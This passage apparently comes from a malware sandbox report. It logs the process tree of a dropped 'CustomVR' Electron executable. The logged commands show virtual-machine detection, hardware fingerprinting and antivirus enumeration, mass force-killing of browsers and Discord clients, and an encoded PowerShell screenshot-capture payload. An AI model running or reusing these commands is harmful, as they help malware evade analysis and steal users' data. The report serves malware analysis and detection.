  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4764
- C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe
  "C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\CustomVR" --field-trial-handle=1712,i,17038017839045456712,14759645326509488161,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1716,i,13998999061647503972,18128354721362432384,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=1784 /prefetch:3
  2⤵
  - Executes dropped EXE
  PID:5056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3636
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5048
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "(Get-PhysicalDisk).BusType""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "(Get-PhysicalDisk).BusType"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4836
- - C:\Windows\system32\reg.exe
    reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    PID:3668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3700
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    PID:1604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:784
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:3384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2336
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
    3⤵
    - Looks for VMWare Tools registry key
    PID:776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmmouse""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4540
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2292
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmmouse"
    3⤵
    - Looks for VMWare services registry key.
    PID:1736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\KVM""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3208
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\KVM"
    3⤵
    PID:3804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3024
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    PID:3060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-WmiObject -List | Where-Object {$_.Name -match 'Xen|HyperV|VirtualPC'}""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2056
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1604
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-WmiObject -List | Where-Object {$_.Name -match 'Xen|HyperV|VirtualPC'}"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get serialnumber"
  2⤵
  PID:1960
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get serialnumber
    3⤵
    PID:2040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "[System.Windows.Forms.Cursor]::Position.X""
  2⤵
  PID:3556
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "[System.Windows.Forms.Cursor]::Position.X"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get processorid"
  2⤵
  PID:2564
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic cpu get processorid
    3⤵
    PID:2788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
  2⤵
  PID:4440
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber
    3⤵
    PID:2496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "vol c:"
  2⤵
  PID:4116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T"
  2⤵
  PID:5152
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    PID:5648
- C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe
  "C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\CustomVR" --app-path="C:\Users\Admin\AppData\Local\Programs\CustomVR\resources\app.asar" --no-sandbox --no-zygote --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --time-ticks-at-unix-epoch=-1782611649303774 --launch-time-ticks=583408560 --field-trial-handle=1712,i,17038017839045456712,14759645326509488161,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1716,i,13998999061647503972,18128354721362432384,4 --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2892 /prefetch:1
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  PID:5284
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T"
  2⤵
  PID:2052
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Kills process with taskkill
    PID:5272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe /T"
  2⤵
  PID:6000
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM brave.exe /T
    3⤵
    - Kills process with taskkill
    PID:5916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
  2⤵
  PID:6132
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Kills process with taskkill
    PID:2384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
  2⤵
  PID:6048
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Kills process with taskkill
    PID:5216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe /T"
  2⤵
  PID:5428
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vivaldi.exe /T
    3⤵
    - Kills process with taskkill
    PID:5720
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM yandex.exe /T"
  2⤵
  PID:5408
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM yandex.exe /T
    3⤵
    - Kills process with taskkill
    PID:5820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM orbitum.exe /T"
  2⤵
  PID:5348
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5792
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM orbitum.exe /T
    3⤵
    - Kills process with taskkill
    PID:5920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM atom.exe /T"
  2⤵
  PID:6108
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM atom.exe /T
    3⤵
    - Kills process with taskkill
    PID:5332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM kometa.exe /T"
  2⤵
  PID:5256
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM kometa.exe /T
    3⤵
    - Kills process with taskkill
    PID:2316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM torch.exe /T"
  2⤵
  PID:5704
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM torch.exe /T
    3⤵
    - Kills process with taskkill
    PID:5716
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM amigo.exe /T"
  2⤵
  PID:5840
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM amigo.exe /T
    3⤵
    - Kills process with taskkill
    PID:5756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM coccoc.exe /T"
  2⤵
  PID:5932
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM coccoc.exe /T
    3⤵
    - Kills process with taskkill
    PID:5224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM uran.exe /T"
  2⤵
  PID:6080
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5332
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM uran.exe /T
    3⤵
    - Kills process with taskkill
    PID:5904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM slimjet.exe /T"
  2⤵
  PID:3040
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2316
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM slimjet.exe /T
    3⤵
    - Kills process with taskkill
    PID:5676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM ivaldi.exe /T"
  2⤵
  PID:5356
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ivaldi.exe /T
    3⤵
    - Kills process with taskkill
    PID:5440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe /T"
  2⤵
  PID:5820
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM firefox.exe /T
    3⤵
    - Kills process with taskkill
    PID:5896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  PID:5432
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    PID:5916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  PID:5836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name"
  2⤵
  PID:5964
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name
    3⤵
    PID:5424
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender""
  2⤵
  PID:5756
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender"
    3⤵
    PID:416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  PID:992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name"
  2⤵
  PID:5944
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name
    3⤵
    PID:5716
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender""
  2⤵
  PID:5764
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender"
    3⤵
    PID:5572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACAAIAAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACwAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACQAcwBjAHIAZQBlAG4ALgBXAGkAZAB0AGgALAAgACQAcwBjAHIAZQBlAG4ALgBIAGUAaQBnAGgAdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAGkAdABtAGEAcAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAwACwAMAAsADAALAAwACwAJABzAGMAcgBlAGUAbgAuAFMAaQB6AGUAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAALgBTAGEAdgBlACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA3ADQANgA4AC4AcABuAGcAJwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJABiAGkAdABtAGEAcAAuAEQAaQBzAHAAbwBzAGUAKAApAAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA3ADQANgA4AC4AcABuAGcAJwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABmAGkAbABlAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAEIAeQB0AGUAcwAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBfAHcAaQBuAF8ANwA0ADYAOAAuAHAAbgBnACcAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABmAGkAbABlAEIAeQB0AGUAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAcwB5AHMAXwB3AGkAbgBfADcANAA2ADgALgBwAG4AZwAnACAALQBGAG8AcgBjAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIARQBSAFIATwBSACIACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAA"
  2⤵
  PID:5252
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACAAIAAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACwAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACQAcwBjAHIAZQBlAG4ALgBXAGkAZAB0AGgALAAgACQAcwBjAHIAZQBlAG4ALgBIAGUAaQBnAGgAdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAGkAdABtAGEAcAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAwACwAMAAsADAALAAwACwAJABzAGMAcgBlAGUAbgAuAFMAaQB6AGUAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAALgBTAGEAdgBlACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA3ADQANgA4AC4AcABuAGcAJwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJABiAGkAdABtAGEAcAAuAEQAaQBzAHAAbwBzAGUAKAApAAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA3ADQANgA4AC4AcABuAGcAJwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABmAGkAbABlAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAEIAeQB0AGUAcwAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBfAHcAaQBuAF8ANwA0ADYAOAAuAHAAbgBnACcAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABmAGkAbABlAEIAeQB0AGUAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAcwB5AHMAXwB3AGkAbgBfADcANAA2ADgALgBwAG4AZwAnACAALQBGAG8AcgBjAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIARQBSAFIATwBSACIACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  PID:5676
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    PID:5480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  PID:5396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name"
  2⤵
  PID:5848
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\cimv2 path Win32_Product where "name like '%antivirus%' or name like '%security%' or name like '%kaspersky%' or name like '%norton%' or name like '%mcafee%' or name like '%avast%' or name like '%bitdefender%' or name like '%avg%' or name like '%malware%'" get name
    3⤵
    PID:2972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender""
  2⤵
  PID:5124
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender"
    3⤵
    PID:5440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Discord.exe"
  2⤵
  PID:1760
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Discord.exe
    3⤵
    - Kills process with taskkill
    PID:1212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordCanary.exe"
  2⤵
  PID:5148
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordCanary.exe
    3⤵
    - Kills process with taskkill
    PID:176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordPTB.exe"
  2⤵
  PID:2980
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordPTB.exe
    3⤵
    - Kills process with taskkill
    PID:5768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordDevelopment.exe"
  2⤵
  PID:3500
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM DiscordDevelopment.exe
    3⤵
    - Kills process with taskkill
    PID:1404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Vesktop.exe"
  2⤵
  PID:3064
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Vesktop.exe
    3⤵
    - Kills process with taskkill
    PID:2972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Vencord.exe"
  2⤵
  PID:1412
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM Vencord.exe
    3⤵
    - Kills process with taskkill
    PID:5520
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM BetterDiscord.exe"
  2⤵
  PID:3168
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM BetterDiscord.exe
    3⤵
    - Kills process with taskkill
    PID:5300
- C:\Windows\system32\cmd.exe
